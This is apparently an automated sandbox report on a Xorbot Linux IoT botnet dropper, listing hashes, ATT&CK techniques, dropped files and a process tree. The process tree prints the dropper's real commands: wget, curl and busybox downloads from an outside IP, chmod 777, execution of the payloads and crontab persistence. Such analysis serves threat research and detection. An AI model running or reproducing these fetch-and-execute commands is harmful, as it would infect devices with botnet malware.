xorbot | 987822b12edf58efb6a80d22ef3e6ea7cfa0d308fc363137aebd9471dc52e055

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29-11-2024 13:30

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General

Target

bins.sh
Size

10KB
MD5

0f1ab6ac305389f1651f86ae8ee9487a
SHA1

cc133fbbf8643f3760dbd7399724c620cc9e2ae3
SHA256

987822b12edf58efb6a80d22ef3e6ea7cfa0d308fc363137aebd9471dc52e055
SHA512

b828c6748e67d60491dbc1ce7d10fc3f6aaa10e8dbc12e07711adecc9f01c1c2970099204050333e4846e85263206ce32a5acb153e081038b322e17b43ec7572
SSDEEP

192:dI34uu03vbUxuYVaSlRJ66TlRJ66v7Buu03vbaf/:dI34uu03zUxpVaI1uu03zaf/

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot
behavioral2/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1953) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmod

pid	Process
698	chmod
709	chmod
816	chmod
831	chmod

Executes dropped EXE 4 IoCs

Processes:

j0o2nppKcvyMdefx68huu9x69xhxIXKtd2p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh

ioc	pid	Process
/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	699	j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1	710	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
/tmp/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2	817	CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
/tmp/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh	832	ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh

Renames itself 1 IoCs

Processes:

p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

pid	Process
711	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.8LGPDb	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1curlcrontab

description	ioc	Process
File opened for reading	/proc/757/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/788/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/802/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/41/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/276/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/666/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/756/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/812/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/863/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/901/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/935/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/954/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/966/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/984/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/7/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/774/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/775/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/866/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/895/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/932/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/944/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/1019/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/1023/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/745/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/889/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/923/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/951/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/963/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/955/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/1024/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/17/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/23/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/770/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/843/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/938/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/27/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/797/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/887/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/956/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/990/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/21/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/776/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/902/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/949/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/976/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/765/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/864/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/26/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/138/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/726/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/856/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/5/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/786/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/789/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/840/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/855/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/906/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/463/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/719/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/727/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/858/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/875/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurlbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh	busybox
File opened for modification	/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	wget
File opened for modification	/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	curl
File opened for modification	/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	busybox
File opened for modification	/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1	wget
File opened for modification	/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1	curl
File opened for modification	/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1	busybox
File opened for modification	/tmp/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:664
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:670
- /usr/bin/wget
  wget http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - Writes file to tmp directory
  PID:672
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:688
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - Writes file to tmp directory
  PID:696
- /bin/chmod
  chmod 777 j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  ./j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - Executes dropped EXE
  PID:699
- /bin/rm
  rm j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  PID:701
- /usr/bin/wget
  wget http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - Writes file to tmp directory
  PID:702
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:703
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - Writes file to tmp directory
  PID:706
- /bin/chmod
  chmod 777 p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  ./p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:710
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:713
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:714
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:716
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:717
- /bin/rm
  rm p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  PID:721
- /usr/bin/wget
  wget http://216.126.231.240/bins/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
  2⤵
  PID:726
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
  2⤵
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
  ./CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
  2⤵
  PID:821
- /usr/bin/wget
  wget http://216.126.231.240/bins/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
  2⤵
  PID:825
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
  2⤵
  - Writes file to tmp directory
  PID:827
- /bin/chmod
  chmod 777 ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
  ./ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh
  2⤵
  PID:838
- /usr/bin/wget
  wget http://216.126.231.240/bins/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cFoCgJ06InDUeDxgMuR20ZOY23jL9sbfOH
  2⤵
  PID:844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/ihnzh3reyswXsha7AkutpIWkH9MjMwGIfh

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.8LGPDb

Filesize
210B

MD5
c8d982ee8e786687dd96bd30ad831455

SHA1
a972a4f1cb93674b5b10dfe71142b3e146fa6155

SHA256
fdf2daa1183bb43499086aa67dbec5cf024ebbafe2a80eec4df14714cc0d49f7

SHA512
bd67f430834ac319de166ed758d18eaa8707ea66d53188cfee7c5bfe2f1e6e48e234fed853abcb41bd86ec634bbd1f57044237bc7c2f97bc1031648cf69f1b65

Download Submit